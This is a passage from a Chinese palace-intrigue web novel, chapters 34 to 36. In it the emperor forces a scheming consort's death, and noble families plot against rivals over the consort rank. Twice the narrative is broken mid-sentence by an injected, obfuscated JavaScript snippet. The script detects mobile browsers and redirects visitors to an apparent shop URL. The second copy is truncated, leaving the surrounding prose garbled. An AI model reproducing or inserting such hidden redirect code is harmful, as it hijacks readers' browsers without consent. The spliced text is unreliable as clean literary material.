怀孕期间不顾御医叮嘱偏要乱服汤药瞎折腾为何?宫里都清楚,珍修仪迫切想生皇子。害亲骨肉先天不足还能调养,居然最终就连公主的命都交待在这亲娘手里了。 正徽帝嬴忱璧难辨情绪地发问:“珍修仪照顾皇嗣不周以致公主丧命,该如何处置?” 殿中众太医和内侍们连同殿前侍读霍雄鹰全部下跪,莫说珍修仪还有陛下生母的侄女的身份,就算只是普通妃嫔,这话都不是他们能接的。 良久,皇帝才道:“全部下去吧,任何人来求见都挡回。” 天黑前御殿中才再传出皇帝的圣谕:一,年三十和元宵宫宴取消;二,贵妃册封延后,改在正徽五年二月帝寿当天。 传令官呈报给太上皇和太后,传回的消息自是这对天下最尊贵的祖父祖母都没意见,更是对早夭的小孙女寄予哀思;只是私底下,霍太后对身边女官讥讽:“且还有得闹呢,皇帝还不如干脆把贵妃位给他这生母的娘家人算了。” 且还有得闹?!真被霍太后言中,三公主夭折,忠毅伯府要争的心思不减反增。 皇帝的坏心情持续,得知元宵夜霍灵渠要带妹妹和外甥看花灯,他也没出宫去相遇。 正月中旬临近尾声之际,宫门落锁后,皇帝将穆国公世子霍海啸和忠毅伯先后传进宫。 34. 第34章 夜风起,渗着月光倍凄清,御殿内盏盏轻晃的烛火忽然间恍如黑夜生出的半假寐眼睛,在淡淡龙涎香气的忽悠中丝丝缕缕构筑起恐慌。 霍海啸端坐在案桌前,按照皇帝的命令翻阅案几上的奏疏;高坐的皇帝似在闭目养神,仅站在殿内伺候的两位眼观鼻鼻观心屏气敛息,偌大的殿内安静地落针可闻。 “六姑娘二八年华了吧?” 突兀传来皇帝问话,霍海啸平静地转向龙椅,颔首禀道:“陛下好记性,家中六妹正是年前腊月满十六岁,因今年要秀女大选,家中还未给六妹相看过。” “倘若朕欲赐死霍才人,改封霍六姑娘为贵人,世子以为妥当吗?” 霍海啸无甚波动:“自正徽二年十月霍才人进宫起便难有安分,时常搅得后宫不安宁,年前几月更是逾制骄纵失却嫔妃本分,您顾念太后的养育恩情包容至今已是霍家之福,臣虽为霍才人嫡兄也无脸求您宽恕,但凭陛下处置。” “朕记得霍才人是穆国公最疼爱的女儿,穆国公乃国家栋梁,太后的情面虽然已经耗尽,朕也不得不顾国舅爷的爱女之情,就再宽恕她一回,最后的机会全望霍才人好自为之吧。”正徽帝嬴忱璧声音缥缈但还真没有含沙射影,也是因为这点事全然没份量。 霍海啸站起来,绕到案几前跪地谢恩。 皇帝吩咐平身重新赐座,继续聊霍家事:“朕听闻昨夜霍振羽被歹徒扔进曲江差点丢掉半条命,哪来的歹徒竟敢如此狂妄暗害太后的亲侄儿,查到线索了吗?” “启奏陛下,此事乃是臣二叔兴献侯派家中护院伪装成歹徒所为。” 话落,殿内的御前总管太监嘴角狠狠抽抽,是他耳背听错还是兴献侯发现抱错娃了吗? 皇帝没防备听到这内情怔了下,轻咳声示意霍海啸继续解说,霍海啸仍然平静道:“是年前振羽他表哥提醒他,佟家积极谋求贵妃位乃是别有用心;振羽不信,与他表哥做赌。 晏霁之给家叔兴献侯透了口风,二叔便亲自推把,让年轻还不知人心险恶的亲儿醒悟;只是四弟受不住打击连日醉酒,叔叔他实在看不惯,宁愿叫儿子大病场来醒脑,因此派护院假扮歹徒夜袭将振羽扔进曲江。” 这爹可真够狠的,站着的那两位不约而同在心里腹诽。 皇帝问:“佟家别有用心?” “臣正要启奏陛下,如今在庵堂静修和嫁进武襄侯府的两个霍氏女都是外人假充,臣真正的三妹妹灵渠和五妹桑柔还流浪在外,生死不知。”霍海啸重新跪地,沉沉的语调压抑着仍未消的怒意:“叔叔发现在济善庵的那位根本不是我家灵渠。 授康十六年秋,霍家那场大火原来不是意外,但二婶佟氏并非城府谋算深沉之辈,当年家中若有丁点疑虑都会宁可错判也不放过,因此臣祖父和父叔断定此事乃佟家越过二婶所为。霍家已经决定,哪怕会令自家伤筋动骨也要叫他们付出最惨烈的代价。” 最后句话咬字得极重,压不住的是滚滚怒火气息,仿佛当年的大火蔓延至今燃烧席卷。 御前总管太监倒吸寒气,驼背弯腰眼睛死死往下看,超出周身一厘地外都不敢瞟。 霍家当真清楚这账报复了之后对自家造成的影响吗?正徽帝嬴忱璧神情微变,再想下是他糊涂了,怎么会不清楚?沉默半响他才疑惑出声:“越过佟氏,佟家为何?” “借用晏霁之的原话是:‘三十年汲汲营营图谋当朝第一豪族世家,谁还没点志气?’”霍海啸讽刺:“陛下若有疑虑大可亲自查查佟家怎样教导出嫁女。 臣想晏霁之与外祖家疏远也是实在被逼无奈,英王妃自嫁进晏家,二十多年坚持不懈要拿夫家补贴娘家。臣的二婶是次女,受父母蛊惑不及长姐深,但也从没松懈要帮扶娘家之心,夫家在她们眼中似乎只是送娘家扶摇直上的踏脚石。” 让出嫁的姑奶奶们从夫家搬好处填娘家这种事虽然不多见也没什么稀奇,但这种人家是真不能与之结亲,否则一着不慎就能贻害三代,皇城禁军统领在心中摇头。 皇帝叹息,再令霍海啸平身赐座,语调感慨:“这六本陈情奏疏,你看如何?” 六本全是珍修仪和忠毅伯府的陈情奏疏,自三公主病殁至今这二十多天内的奏疏,各自措辞不同而宗旨很明确一致:请皇帝看在早逝的生母和刚夭折的幼女份上,顾念忠毅伯府和珍修仪在朝堂后宫的艰辛给予照拂,以便令逝者安息。 直白点就是要贵妃位,如若皇帝不肯,那么你早逝的生母和刚死的女儿只怕不能瞑目。 霍海啸照直说:“臣以为利字当头,情义相辅软硬兼施胁迫君主。” 嬴忱璧提醒:“胁迫君主,这是何等罪过?呵,你父亲穆国公怕是都不敢如此妄言,朕可以给世子机会收回这四个字。” “父亲不敢皆因他执掌家族必须谨慎,不便落口实,臣未掌家且还气盛,自然敢说。”霍海啸凛然扬声:“忠言逆耳,望陛下明鉴。” 下刻在殿门前响起内侍的禀告,忠毅伯与珍修仪已至殿外等候陛下宣见。 嬴忱璧谕令宣见,待他们祖孙二人走进殿内,问过安,他没叫起而是让霍海啸把看过这些奏疏后的体会重申遍。 忠毅伯须发大半已白,衰老的脸皮干瘦,腰背微躬似乎行动已有不便,然而霍海啸刚言毕,他即爆出与表象相去甚远的气势,拄着拐杖跳起高骂:“血口喷人!三公主尸骨未寒,霍海啸你就敢诬陷忠良挑拨陛下与至亲外祖家,你们霍家居心何在?!” 御前总管太监眉梢抽抽,一忍再忍方才忍下了提示的冲动,毕竟皇帝可没有叫起。 珍修仪身着飘逸的白纱宫裙,手扶年迈的祖父,纤弱之态分外楚楚可怜:“陛下明察,小公主刚夭折,霍家非但没有怜悯心肠还这般恶言中伤,实在居心不良。 臣妾本不敢妄加揣测,可穆国公世子竟有如此险恶用心,臣妾实难再忍,不得不疑,公主是天家血脉有神明护佑陛下垂爱,怎会一场高烧就去了?这背后当真没有霍家的阴谋吗?”说着她激动起来,神情悲愤:“请陛下查明真相以还我们那可怜早夭的女儿公道啊。” 大总管眼皮跳了跳,三公主何故夭折,阖宫上下都看得明白,修仪您好歹看清形势。 “朕不傻,更没眼瞎心盲,只有愿不愿意被当做傻瓜糊弄哄骗而已。”正徽帝嬴忱璧问:“你何以认为你能比皇嗣更重要?三公主夭折,确实该给她送点陪葬。忠毅伯府夺爵或者珍修仪赐死,伯爷想选哪样?” “陛下?!” “皇帝?!” 大总管再吸口寒气,与身侧的禁军统领同时跪地。珍修仪如活见鬼般看着皇帝,尖锐刺耳的吼声直冲房梁,她的祖父忠毅伯同时怒喝皇帝:“听信谗言,不辩忠良佞臣,不明是非颠倒黑白,皇帝你怎会昏庸混账至此?你对得起你早逝——” “霍海啸拟旨!” 嬴忱璧声若咆哮冷冷打断,帝王的威压在此刻尽显:“忠毅伯府夺爵,你把旨意写完,忠毅伯没做出决定就宣旨,倘若忠毅伯选择将珍修仪赐死就把这道圣旨烧掉。” 语毕,他再转向这六旬老人,冷漠告诫: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459226|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是臣,倘若你连自己身为臣子都记不住,你们祖孙大可今夜共赴黄泉!来人!” 瞬时两队禁军飞奔进殿,各个身披铠甲腰配长刀神情肃杀,好像皇帝下令说个杀字就能砍掉他的头颅,刚刚还铿锵有声的老人感觉到害怕。 浑身发凉比被冰冻更冷,下意识转头看见霍海啸在奋笔疾书,他感觉心都要跳出来了,哆嗦地抱着拐杖扑通声就跪倒:“陛下,陛下明鉴,珍修仪为争宠害三公主丧命,当赐死。” “祖父?!”能穿透墙壁的尖叫声掺满颤抖惊恐和难以置信,珍修仪再如见到索命厉鬼般看着向来疼爱自己的亲祖父,浑身冷热交替,刚闹起来就被皇帝派禁军制止:“打昏,送珍修仪回她宫里再赐白绫让她上路。” “是,陛下。”大总管磕头领旨后爬起,领着十名禁军带珍修仪告退去执行命令。 冷汗淌过脸颊才发现额头全是汗,忠毅伯抬袖擦擦额头的冷汗,看向殿门已经空空如也,没让他见孙女最后眼,眼中浮现悲痛苦涩但很快被他压住,转头回望皇帝,刚想探探这个外孙的心意又被制止了。 嬴忱璧背过身吩咐:“跪安吧,有劳世子亲自送忠毅伯回府。” “陛下言重,臣遵旨。”霍海啸行过礼告退再迈步走到还跪地的忠毅伯面前,伸出手作势要扶这位年迈的老人,忠毅伯对此冷笑,柴瘦的双手扶着拐杖吃力站起,挺直背道声老臣告退即往殿外走,步调既快且沉还明显透着费劲。 霍海啸平静地跟上并保持落后这位三四步的距离相继走出皇城,坐进自家马车再跟着,踏着春寒料峭的夜色来到忠毅伯府的石狮前。 “跳梁小丑才热衷给人耍猴戏。” 忠毅伯正要疾步进府,霍海啸阔步挺立站在两座石狮中间,残月星光暗,映进他眼中滑出黑夜盖不住的鄙薄,故意激道:“伯爷都六十多岁了,何苦活成个笑话?” “公然强抢后位!”忠毅伯拄着拐杖转身,耷拉的眼皮下浸满欲立时除之而后快的恨:“敢欺皇帝至此,老夫再老也足够有命看你们霍家怎么死!” “看来笑话都是抬举了,即使霍家会倒,收拾些跳梁小丑还是根本不费吹灰之力的。”霍海啸不屑地讥讽过后乘马车离去,忠毅伯推开要扶他的长随,挺直背往府里走。 翌日上午,珍修仪病逝的消息传出,宫里宫外众多看客们几乎都惊了。 皇帝对外说辞是因三公主夭折后珍修仪思念成疾一病不起而亡,可只要有点脑子,谁会猜不出真正的原因,而这消息何尝不令前朝后宫震铄?毕竟是皇帝生母的侄女又有忠毅伯在,几乎没人猜想过正徽帝会赐死珍修仪。 出乎意料往往代表着情况超出掌控或者自己判断错误,还有几人还能有闲情看热闹? 霍海啸找晏霁之谈事,晏霁之倒蛮有意趣调侃他:“看来霍家可以高枕无忧了。” “元宵夜,二叔跟祖父提了灵渠飘零在外。”霍海啸没半句废话地切正题:“今年,霍家就要把佟家连根拔起,我来告诉你一声,我爹也约了你爹在谈。” 晏霁之微讶,怀疑道:“太后和巨浪似乎还不知情?” “姑母疼爱灵渠,若知晓必然忍不住,况且对付个佟家而已,没必要全家人一起筹备,霍家大概会在半年后动手,届时再告诉他们不迟。”霍海啸正色问:“你该清楚我的来意是要请你家袖手旁观,能谈吗?” 晏霁之注视他几息时间,忽然心境平和,感笑。 “倘若灵渠还活着,为何宁可在外孤苦飘零都没回家?我想我可以明白了。” 35. 第35章 早春的阳光还渗着寒意,没彻底消融的残雪星星点点散布,不经意间小丛嫩绿自薄雪覆盖中悄悄冒出,垂柳抽新芽欢喜摇摆,原来又是勃勃生机焕发的时节了。 “是啊,灵渠怎么会找不到回家的路?”霍海啸眼眶酸了酸,长叹声看向凉亭外提醒:“显国公府的态度很明了,即使为维护自家颜面,英王也没必要如此争锋相对吧? 太上皇早有把英王府连根拔起之心,难道你爹是嫌晏家安稳要主动递刀吗?我家灵渠是二叔的命根,祖父和姑母的心尖尖,整个霍家的掌上明珠,叔叔他能为宝贝女儿豁出命去,难道晏明潜在晏家也有此份量吗?当然了,若是你爹也能为庶长子豁命,当我没说。” 六年前贾侧妃的大弟贾鑫白犯事被罢官下狱,由此绝了贾鑫白这辈及子侄辈们的仕途,贾家人便去扬州经商,得益于英王府的照拂,贾家这几年在扬州过得红红火火。 薛驸马对付晏明潜,第一个就挑贾家动手,年前腊月官衙闭衙前贾家的商铺被查封,贾家经商的男丁们包括刚出狱才几月的贾鑫白全部以做假账偷税等罪名被抓捕下狱。 开年后,晏明潜和他岳家以及他两个同母姐妹的夫家皆遭参本:贪赃枉法、假公济私,违法乱纪以权谋私贪污受贿等等犯事络绎不绝翻出,或许掺了水份夸大甚至还有捏造污蔑,但若真刨根究底彻查,被参的这批人最轻罚也都够被摘掉官帽。 不过薛驸马虽然来势汹汹,态度也明确,只针对晏明潜及亲属而非要与英王府结死仇;英王肯舍掉庶长子,两家的冲突就可迎刃而解。 英王则丝毫没有对薛家妥协的迹象,激烈回击,英王府和显国公府之间硝烟弥漫。 “应该不能,我猜不可能,否则爵位还能传给我吗?” 水曲柳桌面温着小酒,晏霁之执酒壶倒杯酒喝,笑融融道:“这世间能有几个霍漓江?如果灵渠是个哥儿,姨夫无论如何都不可能娶妻吧?” “灵渠是个姑娘家,叔叔也险些没想娶妻。”霍海啸摇摇头,失笑道:“小时候舒窈气闷堂妹比她威风,逮着机会就要找叔叔争论,这叔侄俩怎么个吵法,你都还记得吧?” 晏霁之也乐:“你三妹妹是她爹的命根,你是你爹的命根吗?姨夫每回就这么句话打发,偏回回都能把舒窈气个半死。” “可英王若只是身为父亲最寻常普遍的偏心总该适可而止,他失掉分寸你为何不阻拦?”霍海啸略有诘问之意,晏霁之反唇相讥:“怎么拦,平白给自己惹身脏水?” “我们家还没找到灵渠的线索,我也怕将来找到妹妹之后得认你做妹夫。” 霍海啸就想不通他在做什么:“晏明潜只是个普通的庶子又不是将来要掌家族的宗子,你爹更不可能为他豁命,请英王化干戈为玉帛很难吗? 薛家的忍让有限,星火可以燎原,再和显国公府硬拼,只怕佟家还没倒,太上皇就已经出手把你晏家百年基业连根拔起;你可别告诉我,你不在乎。” 晏霁之再喝杯酒后曝个料:“贾侧妃与徐侧妃握手言和,你家又给他送来这么个好消息可不是瞌睡遇到枕头吗?英王没糊涂,还能没点章程吗?” “你是说下血本拿贵妃位?”霍海啸迟疑确认,得到肯定答复,他气笑了:“这叫章程?你是脑子还在温柔乡里没回魂吗?太上皇若要把英王府拔起,陛下会阻拦吗?你还不如与你爹谈谈把整个晏家送给陛下,看有没有胜算?!” “我们两家难道已到唇亡齿寒的地步了吗?”晏霁之反笑言打趣:“你这般操心?” 霍海啸沉默下喝杯酒,叹气道:“都正徽五年了,我就没想明白过太上皇禅位的根源。” “晏家再出位贵妃也生不出皇子。” 走到凉亭围栏前,放眼眺望水波粼粼的湖面,晏霁之冷然讽刺:“他真有心争取会拖到现在吗?英王府与显国公府的冲突,争贵妃位是画蛇添足;长房哭哭闹闹认为拿到贵妃位就能压过薛家便改了他的心意,我怎么能阻拦他救他心爱的儿孙们?” “你在故意纵容?”霍海啸目光微变,侧身看去恰对上他的视线,既怀疑又肯定:“你想把晏明潜和晏琼勋一锅端?” “徐侧妃想争,英王没允;晏琼勋又找我谈合作,没说服我转而搭上长房,这般钻营当我眼瞎吗?”晏霁之反问:“他们兄弟和徐家非要上赶着送上门,为何不笑纳?” 霍海啸恍然参透,眼中闪过惊讶,指向他道:“是你?!英王敢如此争锋是拜你所赐,是你在算计你爹。你说服了英王相信太上皇没有动晏家的心思,还令英王深信太上皇反而有动显国公府乃至晋王的心思,他才会这么无所顾忌。” 晏霁之冷嗤默认:“亲外甥兼女婿遭大罪憋着怒火要泄恨,太上皇对晋王和薛家无论什么心思都不至于在这种情况下脸;可你看他那副架势,他心歪地连这么简单的人情世故都能视若无睹,能怨谁?” “你颠倒黑白的本事才令我大开眼界,”霍海啸很好奇:“你究竟怎么哄骗你爹的?” “没哄骗。”晏霁之淡淡提醒:“朝堂大权是还在太上皇手中,可皇帝又没做傀儡;一出手就想把异姓王府连根拔起的提前是圣人没禅位,否则晏家瞬间倾塌之下空出那么多位置,他能独吞吗,他能舍得让陛下摘桃吗?圣人既然禅位,凡事只会循序渐进。” 霍海啸扬手拍在水曲柳桌面,犹如醍醐灌顶:“对啊,对啊!竟是我一直没转过弯来,圣人禅位后要谋求的是稳,一击就令晏家倾塌的震动已然非他所愿。” “至于第二点?”晏霁之挑眉,好整以暇道:“你以为圣人禅位后哪位暗中动作最多?” “晋王吗?”霍海啸神情莫测地站起走到围栏前,皱眉道:“难道还能比魏王多?” 晏霁之哼笑:“你分出心思观察观察就可知,晋王可是活生生在他老爹眼皮底下明抢;争权夺利也得讲点规矩,太上皇还能忍几年?” “故此晋王一派无疑比晏家更险,英王既然清楚当然敢与薛家硬拼。” 霍海啸不由拍手给他鼓掌:“可太上皇即使下月就要除掉显国公府都会任由他的外甥兼女婿出气泄恨,英王被自己的偏心迷失心窍竟然对这显而易见的常识也能忽略是没甚可说,但你这心思啊……”他啧啧感叹:“我几乎想怀疑晏明潜得罪薛驸马是被你算计。” “英王从没想过退让,哪怕与显国公府斗个你死我活;甚至薛家在出手前递过口信来,只要他肯舍出晏明潜任由薛驸马处置,薛家可以不殃及其他任何人。 你再看英王的答复,他可不是为颜面而是真能舍得为这个庶长子拿家族基业去硬拼。他算得多妙,一旦两家缠斗至牵动晏家根基,为家族计我多不情愿都得相帮。” 晏霁之面若冰霜,灼灼眸光如有火在烧:“可假若换做我被薛家攻击,你以为会是什么场景?我告诉你,假若换做是我,莫说去和人家死拼,他肯出几分力都是两说,晏明潜趁机在我背后捅刀,他知道也只会装模作样训两句,晏墉对我多狠啊?!” 愤怒与痛恨交织令晏霁之眼眶猩红,他情绪激烈,压抑着低吼出报复的痛快和悲悯:“此事如何收场可不是显而易见吗?但他偏偏就是能往下跳,为何? 我算计他,这也能叫算计吗,我得有多可悲可笑才能真被我算计成功?若非他偏心得令我忍无可忍,我哪能有本事让他疼爱的那批庶出一次全部折进去。” 霍海啸长长叹息,抬手拍拍他的肩膀。 “你家想把佟家连根拔起,我没意见,更不需给我任何好处做交易。”晏霁之平复道:“暮春时我会带流光离开京畿出南海,要从南海上给你捎礼物吗?” “好,你安心散心,不需牵挂京里的事。” 阳光温和地糅进湖面溢出浅浅光辉,微风拂过垂柳落个回旋掉进湖中撩拨起层层叠叠的水波围绕凉亭打转,几尾金鱼机灵冒尖游来嬉戏,天朗气清正当晴方好。 送过霍海啸出府,晏霁之回流光小筑,进屋看见霍灵渠坐在窗下捧着绣棚在做绣活。 嗯,是她的小外甥生辰将至,她想绣幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她放掉攒盒,抱着靠他怀里,点到为止并不牵动往事:“今儿庄上送来筐莲藕,小厨房问午膳吃莲藕吗?我做主要桂花糯米藕片、香酥藕丸、莲藕排骨汤,好不好?” 过了片刻,晏霁之抬手回抱怀里的女人,低低应声:“好。” 午膳前英王派下人来请世子,都被晏霁之以‘不想被旁人平白泼脏水’给回绝了。然而有些往事就像藏在记忆缝隙里的线球,牵着线头拉出记忆如何能说打住就不深想? 深夜,暴雨拍打雕栏碧瓦犹如大珠小珠落玉盘,衬得芙蓉帐里安静若悄然无声。 烛光透过橘红帐幔染成片温暖,堪堪从云端回神,晏霁之又已拥紧女人吻得如饥似渴;霍灵渠思绪在飘,晏霁之情绪若有不对劲,她哪会察觉不出,这是又犯别扭了? 估摸着已经丑时了他还不想就寝,霍灵渠强行阻拦道:“我提起贵妃,惹你伤心了?” “我也提了,”沉默许久,久得让女人以为他不想接话时晏霁之垂眸黯然苦笑声:“晏家再出位贵妃也生不出皇子,姑母就那么在深宫里被熬干心血,年纪轻轻油尽灯枯。” “你从未提过我也猜得到,在你心里,姑母比生母更像你的亲娘。”霍灵渠婉言细语:“我不知道老王爷夫妇临终前怎么交代你,但我相信他们都希望你好。虽然你祖父祖母和姑母都已经不在了,但这世间有过疼爱你的人,对不对?” 对!可对父亲的愤懑挣扎,对如何保住家族的重负,还有时常涌起的恨不得就让这女人怀孕的冲动和压抑,种种情绪交织在这刻压得晏霁之喘不过气来,他接不住话也不敢看她的眼睛,只能把她搂在怀里慢慢平复。 “四姐姐、我是说贵妃的四公主、你表姐生前喜欢扑蝶游湖放风筝看宫外的风景,等再过些天春光明媚的时候,你向衙门告假几日陪我出城春游玩赏,好吗?” 霍灵渠仰头看他,晏霁之闭闭眼,应好。 屋中进入梦乡,屋外夜雨不知累乏地锤炼着大地直至天际破晓前;春雨润物最知时节,连续几场春雨降落就将盎然绿意装点进千家万户,春风送暖,又是焕然一新的明媚了。 36. 第36章 通县城西 一座风景怡人的别庄里,两只风筝追逐白云飞,吹落的迎春花瓣随风起舞圈落入草坪,嫩黄嫩绿相间偶尔还冒出丛粉红,煞是好看。 霍灵渠一袭清新的水绿绫衫配苏绣石榴花挑纱裙,绸缎般的秀发用银丝带绾起,鬓间簪支粉玉流苏步摇,还应景的戴了朵粉艳艳的杏花,和她妹妹桑柔带小祐跑在通县的天空下放风筝,舒悦的欢声笑语散漫在绿茵草地。 她哄晏霁之出城散心,哪想晏霁之会带她来通县小住,非但带着大批奴婢和箱笼几乎把整个流光小筑和世子爷的书房都给搬了过来,还愿意让她把桑柔和小祐带上,更一住小半月也没见他有启程回京的意思。 “小祐再跑要出汗了,拿剪子剪断线让风筝飞走吧。”霍灵渠拉住孩子给他擦擦脸,男娃娃不舍地看丫鬟姐姐剪断线再抬头就看见风筝嗖得下飞远了,只不过他很快又高兴起来:“姨母,我想去湖边抓鱼坐船。” “小祐乖乖的,不乱跑不乱跳,拉住绿岫姐姐的手就行。” 霍灵渠想歇会儿便没陪,叮嘱绿岫带众婢女照顾好即放行,霍桑柔挨到姐姐身旁怀疑:“姐你是不是有身孕了?” “瞎说什么呀?”霍灵渠望眼远处凉亭前专心作画的男人,让还跟着她的两个婢女去厨房吩咐给世子换新茶点,另给她拿团扇和花篮,她带妹妹往花圃走:“姐姐看杏花开得好,我们摘篮杏花瓣泡杏花茶试试。” “姐我说真的,我们在这里住十多天,我就没有哪天能在巳时前见到你,问丫鬟,她们就说姨娘还在晨睡未醒。”霍桑柔傻乎乎地提醒:“你不是怀孕嗜睡还能为什么?” 霍灵渠默默冷静,掩耳盗铃般拉拉衣领,冷静好再敷衍:“没有,姐姐有没怀孕自己还能不知吗?况且以我们的处境,真怀了我也不敢生,何苦让自己受罪呢?真的没有。 再者他最近心烦得很,我本意只是希望他能出府散散心,没想到他会带我来通县小住。你不知道,我们收拾箱笼带奴婢出府时他爹娘很生气还不准让护卫跟随保护,现在跟我们来通县的这批护院是他向大哥借的人手,是霍家的护卫,不是英王府的。” “啊?”霍桑柔果然被敷衍牵引了:“为什么,就春游嘛,这有什么能生气?” 霍灵渠摘下片杏花瓣,难免带出点情绪:“姐姐也想知道怎么就令英王夫妇那般动怒了?他和他庶兄的关系比起我们与霍佟氏之间也没差多少,这庶兄遇到麻烦有英王护着还不够吗,难道英王还要怪他没给庶兄保驾护航吗?” 明媚阳光映照见杏花粉里透红昂扬招展,几片杏花瓣迎风翻飞划出条条宛转波动的弧度,好似在为歌颂春天的旋律谱曲。 晏霁之身着绘水墨画的灰白飘逸长袍,长发披肩,倒像是个放荡不羁的文人骚客。他画好这副杏花图,接过婢女奉上的绢帕擦擦手,端起茶盏饮下半杯后吩咐请客人。 不多时一位白衣公子手握折扇踏入草坪,待她近前,端的是神采翩翩俊俏飞扬,只是多看两眼可发现这位竟女扮男装,她把玩着折扇恭维:“英王世子可真是好雅兴。” “任逍姑娘也好雅兴。” 来人乃闻名官眷的魏王的女谋士,晏霁之耳闻过面见过就是没单独交流过,兴致缺缺道:“晏某与任逍姑娘素昧平生,有什么事能劳驾你连下两张请帖要来拜访我?” “任逍以为英王世子该是个聪明人,当清楚英王府的处境。” “不才,比任逍姑娘有智谋而已。”晏霁之端起茶盅,已有送客之意:“你比魏王小九岁,二十年前我和魏王勾肩搭背的时候你还在满地爬;若是魏王有指教,轮不到你来传话,更轮不到你对本世子指手画脚。” 魏王妃都得对她客客气气的,已经许久没被人如此怠慢,任逍有点气血上涌,握扇讥讽:“原来这就是英王世子的雅量,怪不得英王爷消受不起只偏疼庶出。” 晏霁之爽气:“朱楼,送客!” “你——”任逍气结,无视堵过来的婢女,撇开她绕上前两步与晏霁之就相隔两三步,眉眼冷凝道:“好,闲话少说,京中的形势你应该有耳闻,那本就是意料中的事,英王如果再不依不饶相抗只会与薛家结成死仇。 晏家这座异姓王府在第一任英王尚在世时就是太上皇的心腹大患,趁这么好的机会,有显国公府做前锋打头阵,太上皇还能放过吗?你爹疯魔了,为几个庶出竟连自家百年基业都抛诸脑后,难道你晏霁之也糊涂了不成?” “说重点。” 任逍被噎得再顺顺气,道出来意:“以魏王和晋王之间的仇怨,若是你们两家死斗起来,他必定也要参与;十一年前悼太子费那么大劲才保住他和崇孝长公主没被殃及,长公主不想再让弟弟涉险,请英王世子拉住英王以晏家百年基业为重。” “长公主费心了。”晏霁之不咸不淡的:“念在同窗之谊,有机会我会劝劝魏王。” “是劝英王!”任逍笑声告诫:“世子再气恼父亲偏爱庶出至将你视若无物也该有分寸,我知道你父亲准备下血本拿贵妃位,但我可以告诉你,贵妃位,英王府没戏。 平原大长公主先前不肯便宜庶女才不让显国公府去争,但英王不识好歹惹恼了她,她已决定要拿到贵妃位,陛下还能因为英王拂掉亲姑母的脸面吗?贵妃将会姓薛。” “看来即将册封的贵妃娘娘还真没几位能压得住。”晏霁之甩甩宽袖,再申:“送客。” “崇孝长公主会恭候英王世子的佳音。”一再被怠慢,任逍再没好脸色,拂袖而去。她走出这片视野,凉亭旁的迎春花簇荫中走出个身影,对此持疑道:“崇孝长公主向来谨慎,有心思也不会派人贸贸然找你,何况魏王尚未涉及其中,这位怕是自作主张。” 晏霁之调侃:“要不巨浪兄你赞她句情深义重?” “多秀丽的姑娘,偏偏你一再轻视之,莫非是我在暗处监视才使你故意摆给我看?”霍巨浪很怀疑:“你这可是品性不端啊,我很难放心将妹妹交托于你。” “你家妹妹才品性不端,六岁的时候偷偷摸摸偷抱我好几回,转身就跟别的男人定亲。”晏霁之冷哼:“辱我心负我感情,这笔账我还没跟她算呢。” “滚!”霍巨浪当即叫骂:“敢污蔑我家妹妹,你翅膀硬了啊,要不我来和你算算?” 晏霁之退让,让婢女们离远着跟,带他往草坪散步闲话:“看了圈,我这座别院还行吧;一年前买的,这还是第一回住,就怕多有不适,幸好从英王府带来的家当多。” “亭台楼阁山林湖泊,蛮漂亮的,我走过圈粗粗估摸这园子有九十多亩地?” “九十六亩,五万两白银买下我觉得还算便宜,只是这些房屋较老旧也不大合我心意,我便又派工匠修缮重建,去年冬至前刚完工。连买带修总共花费了八万多两白银,这么算算就有些贵了,幸好我把在英王府的多数家当都搬过来,不然真有点肉疼。” “我真要叫你妹夫啊!”霍巨浪还头疼呢:“别人散心是游玩,你散心就成搬家了;你还连搬家都不安生,少带批护卫你能死啊,况且你自己没人手吗非得向我大哥借?你带我霍家的护卫溜之大吉是轻省了,你娘都跑来我家跟我娘吵架了,这叫什么事嘛。” 晏霁之一本正经:“独乐乐不如众乐乐。” “那我这就押你回京给你娘侍疾如何?”咋就那么欠骂,霍巨浪嫌道:“你想出南海?” “留在京中能安生吗?我都已经成不顾亲娘死活只顾自己逍遥玩乐的黑心烂肺不孝子,再不走恐怕得被骂成比畜生还不如了。”晏霁之挺有闲情打趣:“贵妃位争夺得那么猛,你二婶还没装病要挟振羽吗?” 想想那位英王妃,霍巨浪就觉糟心:“你还真得谢谢薛驸马帮你扳回一局。” 晏霁之大张旗鼓带流光姨娘跑通县小住容易,收场难啊。他刚离京没几天就传出英王妃病倒的消息,还过几日都不见这位亲儿回京看望母亲,这名声还能不败坏吗?没成想薛驸马真敢把那位钟姨娘的事捅出来更添油加醋把英王夫妇俩抹成黑炭,可算乱成一锅粥了。 “正月初,英王妃跟我谈交易:我帮佟家拿到贵妃位,她就允准我将流光扶正;我送她六个字,不劳王妃费心。后续她又寻我闹过两场,就算我不离京,她也会装病要挟。” 晏霁之淡淡提醒:“佟尚书的如意算盘,哪能轻言放弃?你还是悠着点,英王妃若没辙,佟尚书夫妇必然会强逼二女儿,贵妃位落定前霍家别想消停。” “已经没得消停。”霍巨浪 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“有点道理。”霍巨浪刚夸了他就被吓到,晏霁之说:“第五,你霍家、霍灵渠。” “咳咳、呸呸呸,瞎说什么呢你?”霍巨浪差点没吓到心哆嗦,晏霁之劝他正视:“第五位对陛下而言才是最得用的人选,试想按到贵妃的位置上要发挥什么作用,还能有谁比霍灵渠更合适?就看陛下能否想到,能的话,此事最终还得回馈到霍家。” 霍巨浪:“……”娘咧,穷尽他三十年竟然没法反驳。 “毕竟亲娘病倒,庶兄和亲戚们被关在刑部大牢待审,亲爹忙得着急上火,庶姐庶妹和外甥们哭成泪人,你不在京里到底是说不过;心情差不多了就回,你占理总比你理亏强。再者你晏家的本家们怕是拉不住,还得你去劝你爹,犯不着真和薛家结成死仇。” 